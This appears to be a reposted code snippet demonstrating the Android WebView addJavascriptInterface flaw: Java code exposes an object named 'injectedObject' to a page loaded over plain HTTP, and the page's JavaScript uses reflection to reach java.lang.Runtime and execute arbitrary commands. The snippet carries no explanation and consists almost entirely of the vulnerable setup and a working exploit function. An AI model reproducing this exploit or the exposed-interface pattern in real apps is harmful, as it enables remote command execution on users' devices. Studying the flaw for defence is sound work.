WebView webView = new WebView(this);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(this,"injectedObject");
webView.loadUrl("http://www.asce1885.com/index.html");
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script type="text/javascript">
function execute(cmdArgs) {
return injectedObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
</script>
<title>Title</title>
</head>
<body>
</body>
</html>
原文:https://www.cnblogs.com/endian11/p/9114094.html